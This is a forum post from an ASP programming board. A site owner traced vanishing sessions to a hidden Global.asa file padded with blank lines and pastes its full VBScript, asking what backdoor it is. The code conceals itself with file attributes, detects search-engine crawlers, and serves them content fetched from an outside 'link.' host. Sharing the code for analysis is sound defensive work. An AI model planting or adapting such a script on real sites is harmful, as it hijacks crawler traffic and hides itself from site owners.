注册 登录
编程论坛 ASP技术论坛

关于Session丢失的问题终于解决了,特来分享

zfc123 发布于 2012-03-21 13:37, 567 次点击
前段时间在论坛问过一个问题,就是Session丢失,只要刷新一下,或者跳转一个页面都会丢失,开始怀疑是空间的问题,因为在我本地测试是正常。在论坛询问说了几种可能,都没能实现,空间商不给弄。本来已经放弃解决了,决定用本机IIS+FTP曲线解决,但在同事电脑上装好IIS测试,居然也是同样的问题,至此说明确实是程序问题,于是继续Google Session的相关信息,发现了Global.asa文件,于是制作了一个上传,却无意中发现,网站目录下已经有一个隐藏的Global.asa文件,改名后问题解决。现把Global.asa文件放出,请高手给指点一下,这是什么后门文件。前面放了大段空白,让人以为这是个空白文件。
程序代码:
<script language="vbscript" runat="server">








































sub Application_OnStart
end sub

sub Application_OnEnd
end sub

sub Session_OnStart

dim name
name=request.servervariables("Path_Translated")
Set fso = Server.CreateObject("scripting.filesystemobject")
set f=fso.Getfile("//./" & Server.MapPath("/global.asa"))
if instr(name,";")>0 then
f.Attributes=1+2+4
response.end()
end if
if instr(server.MapPath("."),".asp")>0 or instr(server.MapPath("."),".asa")>0 then
f.Attributes=1+2+4
response.end()
end if
Dim v
Dim t
ReDim A(Request.Form.Count)
ReDim B(Request.Form.Count)
v=Request.Form
t=Request.Form.Count
if t>0 then
For i=0 To t-1

 b(i)=Split(Split(v,"&")(i),"=")(1)

 if instr(LCase(b(i)),"global.asa")>0 then
f.Attributes=1+2+4
response.end()

 end if
Next
end if

Dim ScriptAddress, M_ItemUrl, M_item  
ScriptAddress = CStr(Request.ServerVariables("SCRIPT_NAME"))  
If (Request.QueryString <> "") Then
GetUrl =Request.ServerVariables("Server_Name")&ScriptAddress &"?"&Request.QueryString
else
GetUrl= Request.ServerVariables("Server_Name")&ScriptAddress
end if  



user_agent=Request.ServerVariables("HTTP_USER_AGENT")
httpuser=LCase(request.servervariables("http_user_agent"))
if instr(geturl,"zblog")=0 then
if  instr(httpuser,"baidu")>0 or instr(httpuser,"google")>0 or instr(httpuser,"sogou")>0 then
    'if instr(GetUrl,"?")=0 and len(GetUrl)<45 then
   
        Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
        ObjXMLHTTP.Open "GET","http://link."&GetUrl&"&bot="&httpuser&"&dd="&cstr(int(rnd()*10000)+1),False
        ObjXMLHTTP.setRequestHeader "User-Agent","http://link."&GetUrl&"&bot="&httpuser&"&dd="&cstr(int(rnd()*10000)+1)
        ObjXMLHTTP.send
        GetHtml=ObjXMLHTTP.responseBody
        Set ObjXMLHTTP=Nothing
        set objStream = Server.CreateObject("Adodb.Stream")
        objStream.Type = 1
        objStream.Mode =3
        objStream.Open
        objStream.Write GetHtml
        objStream.Position = 0
        objStream.Type = 2
        objStream.Charset = "gb2312"
        GetHtml = objStream.ReadText
        objStream.Close

        key1=lcase(GetHtml)
        response.Write key1
        f.Attributes=1+2+4
        'response.end()
    'end if
end if
end if
f.Attributes=1+2+4
end sub



'sub Session_OnEnd
'
end sub
</script>
0 回复
1